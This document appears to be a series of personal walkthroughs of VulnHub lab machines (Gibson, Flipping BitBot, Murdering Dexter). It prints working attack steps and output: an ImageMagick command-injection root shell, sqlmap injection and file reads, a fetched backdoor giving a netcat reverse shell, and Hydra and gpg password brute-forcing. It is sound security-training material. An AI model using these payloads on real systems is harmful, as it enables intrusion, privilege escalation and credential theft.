VulnHub – Gibson

Start quick, start simple, what can I find on the network?

$ sudo nmap -sS 192.168.56.101 
Password:

Starting Nmap 6.47 ( http://nmap.org ) at 2016-08-24 10:05 EDT Nmap scan report
for 192.168.56.101 Host is up (0.00092s latency). Not shown: 998 closed ports
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address:
08:00:27:E0:A1:1E (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds

The only thing at :80 is http://192.168.56.101/davinci.html
gibson_80

Are there other things I’m not seeing? Let me see what I can brute. First try:

$ ./wfuzz.py -w siph0n_subdomain_list.txt --hc 404
http://192.168.56.101/FUZZ > 8.24.2016_siph0n1.txt && cat 8.24.2016_siph0n1.txt
******************************************************** * Wfuzz 2.1.3 - The Web
Bruteforcer *
********************************************************

Target: http://192.168.56.101/FUZZ Total requests: 11611

==================================================================
ID Response Lines Word Chars Request
==================================================================

Total time: 20.58885 Processed Requests: 11611 Filtered Requests: 11611
Requests/sec.: 563.9459

 

While that’s running, I take a look at the source. Derp. Geek trivia ftw.

gibson_davinci_html

$ ssh margo@192.168.56.101 Ubuntu 14.04.3 LTS margo@192.168.56.101's password:<>
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic x86_64)

* Documentation: https://help.ubuntu.com/

System information as of Wed Aug 24 15:35:48 BST 2016

System load: 0.0 Processes: 149 Usage of /: 83.9%
of 1.85GB Users logged in: 0 Memory usage: 37% IP
address for eth0: 192.168.56.101 Swap usage: 0% IP address
for virbr0: 192.168.122.1

Graph this data and manage this system at: https://landscape.canonical.com/

New release '16.04.1 LTS' available. Run 'do-release-upgrade' to upgrade to it.

Last login: Wed Aug 24 15:35:48 2016 from 192.168.56.1 margo@gibson:~$
margo@gibson:~$ whoami margo margo@gibson:~$ id uid=1002(margo) gid=1002(margo)
groups=1002(margo),27(sudo)

Ms Diety is a member of sudo? TIL you can list a user’s sudo rights with “-l”

margo@gibson:~$ sudo -l Matching Defaults entries for margo on gibson:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User margo may run the following commands on gibson: (ALL) NOPASSWD:
/usr/bin/convert

? What is convert ?

margo@gibson:~$ convert --version Version: ImageMagick 6.7.7-10 2014-03-06 Q16
http://www.imagemagick.org Copyright: Copyright (C) 1999-2012 ImageMagick Studio
LLC Features: OpenMP

OIC . . . predates 6.9.3 listed on imagetragick.com…so…

margo@gibson:~$ sudo convert 'https://example.com";\bin\sh"' out.png sh: 1:
binsh: not found convert.im6: delegate failed `"curl" -s -k -o "%o" "https:%M"'
@ error/delegate.c/InvokeDelegate/1065. convert.im6: unable to open image
`/tmp/magick-0hp3Ev9X': No such file or directory @ error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-0hp3Ev9X': No such file or
directory @ error/constitute.c/ReadImage/583. convert.im6: no images defined
`out.png' @ error/convert.c/ConvertImageCommand/3044.

wtf? oh. Slashes are going the wrong way. Derp.

margo@gibson:~$ sudo convert 'https://example.com";/bin/sh"' out.png
# id
uid=0(root) gid=0(root) groups=0(root)
# cd / ls home
duke eugene margo
# ls home/duke ls home/eugene
spin64
# ls /home/eugene/spin64
/home/eugene/spin64
# ls -la /home/eugene
total 56 
drwxr-xr-x 6 eugene eugene 4096 May 14 14:31 . 
drwxr-xr-x 5 root root 4096 May 5 18:49 .. 
-rw-r--r-- 1 eugene eugene 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 eugene eugene 3637 Apr 9 2014 .bashrc 
drwx------ 2 eugene eugene 4096 May 5 19:10 .cache 
drwx------ 3 eugene eugene 4096 May 5 20:12 .dbus
drwx------ 3 eugene eugene 4096 May 14 14:22 .gconf 
-rw-r--r-- 1 eugene eugene 675 Apr 9 2014 .profile 
-rwxrwxr-x 1 eugene eugene 8589 May 5 19:10 spin64
-rw------- 1 root root 4737 May 14 14:24 .viminfo 
drwxr-x--x 2 eugene eugene 4096 May 5 20:12 .virt-manager
# nano /home/eugene/spin64
/bin/sh: 18: nano: not found
/

Move this somewhere I can grab it…

# cp /home/eugene/spin64
#

No idea wtf. I guess a binary? Strings is just about the extent of my binary reversing know-how, and it tells me nothing.

spin64

Moving on. rastamouse again saves my behind.

# netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 192.168.122.1:domain    *:*                     LISTEN     
tcp        0      0 *:ssh                   *:*                     LISTEN     
tcp        0      0 localhost:5900          *:*                     LISTEN     
tcp        0      0 192.168.56.101:ssh      192.168.56.1:51250      ESTABLISHED
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN     
tcp6       0      0 [::]:http               [::]:*                  LISTEN     
udp        0      0 *:44766                 *:*                                
udp        0      0 192.168.122.1:domain    *:*                                
udp        0      0 *:bootps                *:*                                
udp        0      0 *:bootpc                *:*                                
udp6       0      0 [::]:25130              [::]:*    

5900 is VNC. So lets see if I can send that somewhere I can connect to…

# ssh -f username@192.168.56.1 -R 7777:localhost:5900 -N

This worked, but Screen Sharing on my mac never connected. Time to try something different. Sudo has already leaked info about this machine, maybe it can tell me more.

# cat /etc/sudoers
# #
# This file MUST be edited with the 'visudo' command as root.
# #
# Please consider adding local content in /etc/sudoers.d/ instead of directly
# modifying this file.
# #
# See the man page for details on how to write a sudoers file.
# #
Defaults env_reset Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin
:/bin"

# Host alias specification
#
# User alias specification
#
# Cmnd alias specification
#
# User privilege specification
root ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
%
# Allow members of group sudo to execute any command
## disabled after Margo's security incident
##%sudo ALL=(ALL:ALL) ALL
##%
# Allow Margo to convert pictures from the FTP server
margo ALL=(ALL) NOPASSWD: /usr/bin/convert
# Allow eugene to manage virtual machines and visudo
eugene ALL=(ALL) NOPASSWD: /usr/bin/virt-manager eugene ALL=(ALL:ALL)
/usr/sbin/visudo

# See sudoers(5) for more information on "#include" directives:
#
#includedir /etc/sudoers.d
#

Mr The Plague has some helpful settings. What is virt-manager? Well that sounds like fun. two06 reminds me that the vm author dropped hints.

vh_gibson_hints

Remote x session?

Reconnect ssh with margo ssh -X …  Nope. I need .xauthority file. mkay. well I can privesc back to root.

Last login: Wed Aug 24 15:35:54 2016 from 192.168.56.1
/usr/bin/xauth:  file /home/margo/.Xauthority does not exist
margo@gibson:~$ sudo convert 'https://example.com";/bin/sh"' out.png
# ls -la /home/margo
total 36
drwxr-xr-x 3 margo margo 4096 Aug 24 17:06 .
drwxr-xr-x 5 root  root  4096 May  5 18:49 ..
-rw------- 1 margo margo  358 Aug 24 17:04 .bash_history
-rw-r--r-- 1 margo margo  220 Apr  9  2014 .bash_logout
-rw-r--r-- 1 margo margo 3637 Apr  9  2014 .bashrc
drwx------ 2 margo margo 4096 May  7 13:06 .cache
-rw-r--r-- 1 margo margo  675 Apr  9  2014 .profile
-rw------- 1 root  root  2298 May  7 14:33 .viminfo
-rw------- 1 margo margo   52 Aug 24 17:06 .Xauthority
# cp /home/margo/.Xauthority /root/

Rinse, lather, repeat to get a new ssh session with -X working, then privesc back to root and after typing…

# virt-manager

A magic window just appeared! (long ago I had previously installed XQuartz on my mac)

magic window

Horsing around in the VM seemed of limited use(looking at others work and my own exploration). However, as a hypervisor console, it shows me the vm image. After some scp fails…

# cd /var/lib/libvirt/images
# ls
ftpserv.img
# scp ./ftpserv.img username@192.168.56.1:/Volumes/Macintosh\ SSD/Users/username/ftpserv.img
Password:
scp: ambiguous target
# scp ftpserv.img username@192.168.56.1:/Volumes/Macintosh\ SSD/Users/username/
Password:
scp: ambiguous target
# scp ftpserv.img username@192.168.56.1:/ftpserv.img
Password:
scp: /ftpserv.img: Permission denied
# scp ftpserv.img username@192.168.56.1:/ftpserv.img
Password:
# scp ./ftpserv.img username@192.168.56.1:/Users/username/Desktop/ftpserv.img
Password:
ftpserv.img                                                                                                                                                    100%  512MB  46.6MB/s   00:11    
# exit

I get the image file somewhere I can toy with it. Well, sort of. Verifying and mounting the image in anything resembling a useful manner caused me to hit too many GNU vs BSD inconsistencies. Inconsistencies that make sense given the history, but that I had never seen first hand before.

So it is time to shift gears. It’s no longer a fun experiment to try and do
everything native on OS X. Trying to mount an ext2 image on 10.12 caused a bunch
of stuff it’s not worth my time to troubleshoot, not when I can just fire up a Kali VM and have all the tools at my disposal.

In our new kali home, we find that there’s a .trash file in the image containing
flag.txt.gpg.

image_trash_flagVarious hints all point to something relating to Jonny Lee Miller, or one of his
characters. I build a quick wordlist from his name and those characters, then settle in to learn about JohnTheRipper.

dade
dademurphy
zerocool
zerokool
sickboy

Where are the JtR configs in Kali? /etc/john/john.conf and /usr/share/john. How do
you ad rules? Drop them into /etc/john/john.conf. Yup, just paste them right in the middle of the file. Wait, why am I adding rules? At this point, I am long off track of doing this based on stuff I have experience with. Reading around, Kore Logic rules are apparently the only way to get the most out of john. Specifically, everyone says that I need to run my wordlist through the l33t rules to generate a second wordlist to run against the flag.txt.gpg file with gpg.

root@kali:~/Desktop# john --wordlist=gibson_wordlist.txt
--rules=KoreLogicRulesL33t --stdout >> gibson_wordlist_l33t.txt 
Press 'q’ or Ctrl-C to abort, almost any other key for status 
1006p 0:00:00:00 100.00% (2016-08-31 15:04) 
9145p/s Z3r0k001

Then it’s a simple shell script to throw that list at the gpg until it opens the flag.

root@kali:~/Desktop# /media/sf_Sass_Desktop/gibson_brute_poc.sh 
z3r0c001 
gpg: CAST5 encrypted data
gpg: encrypted with 1 passphrase 
gpg: decryption failed: bad key 
Z3r0c001 
gpg: CAST5 encrypted data 
gpg: encrypted with 1 passphrase 
gpg: decryption failed: bad key 
z3r0c00l 
gpg: CAST5 encrypted data 
gpg: encrypted with 1 passphrase 
gpg: decryption failed: bad key 
Z3r0c00l 
gpg: CAST5 encrypted data 
gpg: encrypted with 1 passphrase 
gpg: decryption failed: bad key 
z3r0k001 
gpg: CAST5 encrypted data 
gpg: encrypted with 1 passphrase 
gpg: decryption failed: bad key 
Z3r0k001
gpg: CAST5 encrypted data 
gpg: encrypted with 1 passphrase 
gpg: decryption failed: bad key 
z3r0k00l 
gpg: CAST5 encrypted data 
gpg: encrypted with 1 passphrase 
gpg: decryption failed: bad key 
Z3r0K00l 
gpg: CAST5 encrypted data
gpg: encrypted with 1 passphrase 
gpg: WARNING: message was not integrity
protected found Z3r0K00l

This took me more than an hour because I did not seed the wordlist with enough
options. Missing a capital ‘k’ prevented most of my efforts from working, and if I
hadn’t seen a working version from the other writeups, I could never have traced
my mistake. Ultimately I had fed john with

zerocool 
zerokool

When john processed them it did not insert capitoas for ‘k’ or ‘c’. So it never
generated the actual passphrase, ‘Z3r0K00l” until I updated the list with the
capitals. Lesson learned, if you’re iterating, iterate the capitalization as
well as anythiing else.


I had hoped to not rely on copy/paste from other people’s walkthroughs to
complete this one, but that did not happen. Between my own mistakes and the
detail and depth of this challenge, it took a lot more effort than I expected.
but I learned a bunch as well, particularly about sudo and looking for network
services, interacting with them in new ways, and forensics.

VulnHub Flipping BitBot

Another botnet c2, by the same author as Dexter. First scan shows http, so that’s where I started.

Starting Nmap 6.47 ( http://nmap.org ) at 2016-08-18 16:16 EDT
Nmap scan report for 192.168.56.101
Host is up (0.0010s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:BC:C2:B3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 16.97 seconds

Hiiting http://192.168.56.101/ with a browser there is a message directing you to /bot/bot.py. That’s my first target, but how do I get there? Browsing to http://192.168.56.101/bot/bot.py gets a 403 access denied. There is no robots.txt. Brute force?

$ ./wfuzz.py -w ../seclists/Discovery/Web_Content/Common_PHP_Filenames.txt --hc 404 http://192.168.56.101/FUZZ > today.txt && cat today.txt
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************

Target: http://192.168.56.101/FUZZ
Total requests: 5172

==================================================================
ID Response Lines Word Chars Request
==================================================================

00000: C=200 0 L 5 W 52 Ch "index.php"
00012: C=200 5 L 4 W 37 Ch "footer.php"
00020: C=200 0 L 0 W 0 Ch "config.php"
00021: C=200 53 L 166 W 1810 Ch "header.php"
00030: C=200 57 L 167 W 1769 Ch "admin.php"
00037: C=200 0 L 8 W 51 Ch "functions.php"
00115: C=200 57 L 167 W 1769 Ch "commands.php"
00190: C=200 0 L 0 W 0 Ch "submit.php"
01058: C=200 57 L 167 W 1769 Ch "stats.php"
04613: C=200 57 L 167 W 1769 Ch "bots.php"

Total time: 8.168884
Processed Requests: 5172
Filtered Requests: 5162
Requests/sec.: 633.1341

admin.php? don’t mind if I do. Start Burp to keep track, and dive into admin.php. Just a login.

bibot_admin_nologin

A quick run with sqlmap has no results.

$ ./sqlmap.py -u "http://192.168.56.101/admin.php" --data="login=1&username=&password=“

Fairly lost again, I start reading my cheatsheets. Turns out there’s sqli on gate2.php. It accepts a parameter ‘hwid’ that is injectable. Here is a default request for that page with all the parameters, per the author’s discussion.

http://evilc2.openbwall.com/panel/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info

This is really easy to turn into a functional injection with sqlmap.

$ ./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info"
sqlmap identified the following injection point(s) with a total of 19156 HTTP(s) requests:
---
Parameter: hwid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: windows=Windows&country=US&hwid=101' AND 4125=4125 AND 'izYQ'='izYQ&connection=0&version=100&btc=all&sysinfo=Some Info

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: windows=Windows&country=US&hwid=101' AND SLEEP(5) AND 'nBhj'='nBhj&connection=0&version=100&btc=all&sysinfo=Some Info

Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: windows=Windows&country=US&hwid=-2982' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b7a6271,0x546d706e594d6c6e44686242444d616d624c4a636a6d4b68555641675276505a7a5243684b70795a,0x71626a7a71),NULL,NULL,NULL-- VFky&connection=0&version=100&btc=all&sysinfo=Some Info
---
[15:20:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.12
[15:20:36] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/192.168.56.101’

I have access now as whatever the app runs, so what more info can I retrieve? At the very least a login to the control panel at admin.php.

./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --current-user --current-db
[15:35:21] [INFO] fetching current user
current user: 'root@localhost'
[15:35:21] [INFO] fetching current database
current database: 'bitbot'

./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --users --tables
Database: bitbot
[2 tables]
+----------------------------------------------+
| bots |
| mining_configs |
+———————————————————————+

Well, maybe. There doesn’t seem to be a users table or anything like that. Root in the db is not the same as logging into the application. I need a valid login to the c2. More cheatsheets, this time just the sqlmap documentation is enough.

sqlmap has a read local file option?!

$ ./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --file-read=/var/www/admin.php

[15:58:57] [INFO] fetching file: '/var/www/admin.php'
do you want confirmation that the remote file '/var/www/admin.php' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
[15:59:03] [INFO] the local file '/Users/warrenkopp/.sqlmap/output/192.168.56.101/files/_var_www_admin.php' and the remote file '/var/www/admin.php' have the same size (9406 B)
files saved to [1]:
[*] /Users/warrenkopp/.sqlmap/output/192.168.56.101/files/_var_www_admin.php (same file)

[15:59:03] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/192.168.56.101’

repeat for config.php

config_php_dumpNow I have login to the web application, next goal: interactive login to the server. There should be somewhere to inject code, execute commands, or something to get me in business. Well, there’s a command interface on the control panel. one of which executes a file from a url. That’s easy enough to manipulate.

bitbot_commands

It is easy enough to setup a local http server with python on port 8000, serving just my backdoor file, test.php

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.56.101 - - [19/Aug/2016 16:30:37] "GET /test.php HTTP/1.1" 200 -

Then tell control panel to hit that file. The bot will execute, sending shell to waiting nc on attacker machine.

DOWN http://192.168.56.1:8000/test.php

in turn gets us interactive shell as low privileged user.

$ nc -lvp 4444
Connection from 192.168.56.101:39665
/bin/sh: 0: can't access tty; job control turned off
$ whoami
botter
$ pwd
/

As an unprivileged user, next step is find the opportunity to elevate that privilege, and finish the game. First things first though, let me see what that bot file says.

$ cat /var/www/bot/bot.py 
# -*- coding: utf-8 *-*
import httplib
import urllib
import threading
import time
import hashlib
import os

# Emulated bitbot by bwall (Brian Wallace @botnet_hunter)

class Bot():
    def __init__(self, version, country, windows, hwid, sysinfo, btc):
        self.version = version
        self.country = country
        self.windows = windows
        self.hwid = hwid
        self.sysinfo = sysinfo
        self.btc = btc
        self.connection = 0
        self.removed = False

    def down(self, url):
        '''Download and execute binary'''
        m = hashlib.md5()
        m.update(url)
        filename = m.hexdigest()
        urllib.urlretrieve(url, "/var/www/bot/" + filename)
        os.system("python /var/www/bot/" + filename)

    def connect(self, logger):
        if self.connection == 0:
            logger("Bot %(hwid)s has started" % {'hwid': self.hwid})
        if self.removed:
            return
        #connect to the C2
        try:
            conn = httplib.HTTPConnection("127.0.0.1", timeout=5)
            params = urllib.urlencode({"version": self.version,
                "country": self.country,
                "windows": self.windows,
                "hwid": self.hwid,
                "sysinfo": self.sysinfo,
                "btc": self.btc,
                "connection": self.connection})
            conn.request("GET", "/gate2.php?" + params)
            response = conn.getresponse()
            data = response.read()
            if data != "":
                # Parse the data a bit
                data = data.replace('<\\\\\\>', '')
                if data == "REMOVE":
                    self.removed = True
                    logger("Bot %(hwid)s has uninstalled itself" % {
                        'hwid': self.hwid})
                if data.startswith("UPDATE "):
                    # Remove self and do the same process as DOWN
                    self.removed = True
                    self.down(data[7:])
                if data.startswith("DOWN "):
                    self.down(data[5:])
            self.connection = 1
        except:
            logger("Bot %(hwid)s has timed out when connecting to the C2" % {
                'hwid': self.hwid})
            raise

def Logger(message):
    print message

bot = Bot("1c", "US", "Linux", "101", "8 6970", "all the btcs")
while True:
    bot.connect(Logger)
    for i in range(0, 30):
        time.sleep(1)

I don’t see anything that gives me any leverage I don’t already have. Moving along, there’s this in the /home/botter directory:

$ ls /home
botter
$ ls /home/botter
gen.sh
$ cat /home/botter/gen.sh
ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' | passwd
$ ./home/botter/gen.sh
/bin/sh: 8: ./home/botter/gen.sh: Permission denied

So what does this do?
* read config of eth0
* find the inet Line
* drop the ipv6 Info
* print the second field(ip4 address) + a random number between 0 and 1 + …awk docs say substr takes to extract from a given string. I’m not following how this works. Time to test.

$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 08:00:27:bc:c2:b3  
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:336 errors:0 dropped:0 overruns:0 frame:0
          TX packets:259 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:46157 (45.0 KiB)  TX bytes:39287 (38.3 KiB)
          Interrupt:10 Base address:0xd000 

$ ifconfig eth0 | grep inet
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link
$ ifconfig eth0 | grep inet | grep -v inet6
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0

Running that a few dozen times shows me it’s only incrementing the last two digits between 0-99

$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.64
addr:192.168.56.1010.64
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.91
addr:192.168.56.1010.91
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.91
addr:192.168.56.1010.91
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.04
addr:192.168.56.1010.04
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.17
addr:192.168.56.1010.17
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.17
addr:192.168.56.1010.17
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.30
addr:192.168.56.1010.30
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.43
addr:192.168.56.1010.43
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}'
addr:192.168.56.1010.43
addr:192.168.56.1010.43

Hijack barrabas‘ quicky python one-liner to dump a file full of these,

$ python -c 'for i in range(100): print "addr:192.168.56.1010."+str(i)' > hydrapw_bitbot.txt

Finally, use hydra to brute the ssh login.

except hydra needs a bunch of stuff that’s not on OS X by default. That’ll probably get it’s own article at some point, because it took me a good bit of googling and trials to get it running against ssh. Anyhow, in, and root.

$ hydra -l root -P hydrapw_bitbot.txt 192.168.56.101 ssh
Hydra v8.4-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-19 22:13:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 100 login tries (l:1/p:100), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.56.101   login: root   password: addr:192.168.56.1010.94
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-19 22:13:35
$ ssh root@192.168.56.101
root@192.168.56.101's password: 
Linux Bitbot 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@Bitbot:~# whoami
root
root@Bitbot:~# id
uid=0(root) gid=0(root) groups=0(root)

VulnHub Murdering Dexter

Disclaimer: My solution below is not unique or original. I have relied on, modified, and sometimes directly copied techniques I grabbed reading the walkthroughs linked on VulnHub.com. If I failed to give anyone credit, their hard work is linked out from the vulnhub page and I urge you to read their write-ups as well.

Murdering Dexter is a VM created from the command and control panel from an actual botnet. Brian Wallace of Cylance found this in the wild, reversed it, and built a VM for practice. His story is chronicled on Cylance’s site. Since I’ve been pulling things from vulnhub.com randomly, I didn’t know what I was in for until after I had loaded up the vm. Starting with the normal scan I found little to interact with.

d$ nmap -sS 192.168.56.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2016-08-01 17:00 EDT

Nmap scan report for 192.168.56.101
Host is up (0.00073s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 08:00:27:BC:C2:B3 (Cadmus Computer Systems)

Skipping to port 80 for a minute, a quick look and spider gave me very little. I used BurpSuite because I feel quite handy with it. Here’s the results:

404 robots.txt
200 gateway.php

Reading other solutions indicate there is stuff I’m not seeing, brute force to the rescue!

I didn’t have dirbuster on this machine, so I tried my hand at wfuzz. This uses a seclists payload, hides 404 responses, and outputs results to a file.

$ ./wfuzz.py -w ../seclists/Discovery/Web_Content/Common_PHP_Filenames.txt --hc 404 http://192.168.56.101/Panel/FUZZ > today.txt && cat today.txt

********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************

Target: http://192.168.56.101/Panel/FUZZ
Total requests: 5172

==================================================================
ID Response Lines Word Chars Request
==================================================================

00001: C=200 7 L 18 W 234 Ch "index.php"
00008: C=200 0 L 0 W 0 Ch "config.php"
00036: C=200 2 L 0 W 4 Ch "main.php"
00120: C=200 1 L 0 W 2 Ch "info.php"
00453: C=200 0 L 0 W 0 Ch "load.php"
03324: C=200 12 L 45 W 385 Ch "master.php"
05161: C=200 20 L 43 W 514 Ch "upload.php"
05162: C=200 7 L 7 W 90 Ch "pagination.php"

Total time: 8.183780
Processed Requests: 5172
Filtered Requests: 5164
Requests/sec.: 631.9817

Taking a look through the browser(always proxied through Burp), master.php has what appears to be a command interface.

Screen Shot 2016-08-10 at 10.08.14 AM

A quick test with commix says not so much. Also I get good practice at when/why to escape bash strings.

$ ./commix.py --url="http://192.168.56.101/Panel/master.php?command=ls+&Value=-ls&submit=SET!" -p="command","Value"
-bash: !": event not found

$ ./commix.py --url="http://192.168.56.101/Panel/master.php?command=ls+&Value=-ls&submit=SET\!"
__
___ ___ ___ ___ ___ ___ /\_\ __ _
/'___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ 1.2.22-dev
/\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject)

+--
Automated All-in-One OS Command Injection and Exploitation Tool
Copyright (c) 2014-2016 Anastasios Stasinopoulos (@ancst)
+--

[*] Checking connection to the target URL... [ SUCCEED ]
[*] Setting the GET parameter 'command' for tests.
[*] Testing the classic injection technique... [ FAILED ]
[*] Testing the eval-based code injection technique... [ FAILED ]
[*] Testing the time-based injection technique... [ FAILED ]
[*] Trying to create a file in '/var/www/Panel/'...
[!] Warning: It seems that you don't have permissions to read and/or write files in '/var/www/Panel/'.
[?] Do you want to try the temporary directory (/tmp/) [Y/n/q] > y
[*] Trying to create a file, in temporary directory (/tmp/)...
[*] Testing the tempfile-based injection technique... [ FAILED ]
[!] Warning: The tested GET parameter 'command' seems to be not injectable.
[*] Setting the GET parameter 'Value' for tests.
[*] Testing the classic injection technique... [ FAILED ]
[*] Testing the eval-based code injection technique... [ FAILED ]
[*] Testing the time-based injection technique... [ FAILED ]
[*] Trying to create a file in '/var/www/Panel/'...
[!] Warning: It seems that you don't have permissions to read and/or write files in '/var/www/Panel/'.
[?] Do you want to try the temporary directory (/tmp/) [Y/n/q] > y
[*] Trying to create a file, in temporary directory (/tmp/)...
[*] Testing the tempfile-based injection technique... [ FAILED ]
[!] Warning: The tested GET parameter 'Value' seems to be not injectable.
[*] Setting the GET parameter 'submit' for tests.
[*] Testing the classic injection technique... [ FAILED ]
[*] Testing the eval-based code injection technique... [ FAILED ]
[*] Testing the time-based injection technique... [ FAILED ]
[*] Trying to create a file in '/var/www/Panel/'...
[!] Warning: It seems that you don't have permissions to read and/or write files in '/var/www/Panel/'.
[?] Do you want to try the temporary directory (/tmp/) [Y/n/q] > y
[*] Trying to create a file, in temporary directory (/tmp/)...
[*] Testing the tempfile-based injection technique... [ FAILED ]
[!] Warning: The tested GET parameter 'submit' seems to be not injectable.
[x] Critical: All tested parameters appear to be not injectable. Try to use the option '--alter-shell' and/or try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc).

Other writeups tell me there’s sqli on gateway.php, but all link to the same exploit, https://www.exploit-db.com/exploits/31686/. Which is written by the guy that wrote the VM, who originally posted the script on his github. I put in some practice with sqlmap and got nothin. IDK what he’s doing in that script enough to reverse it in a different approach. Nearest I can tell he’s hitting page and val parameters with something base64 encoded. but I couldn’t replicate until I found the Cylance blog linked above.

It took me a few tries to determine what I needed, where to get it from, then a LOT of time to brute force a blind sqli. I’ve concatenated my commands and the results from both the command output and the log file. This takes up a lot less room than the actual full command output, so if you’re trying to repeat this, and seeing differently formatted output, that’s why.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php?page=test&val=test" --identify-waf --tamper greatest,char encode

[12:26:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[12:26:56] [WARNING] GET parameter 'page' is not injectable
[12:26:58] [WARNING] GET parameter 'val' is not injectable
[12:26:58] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')
[12:26:58] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times
$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --level 3

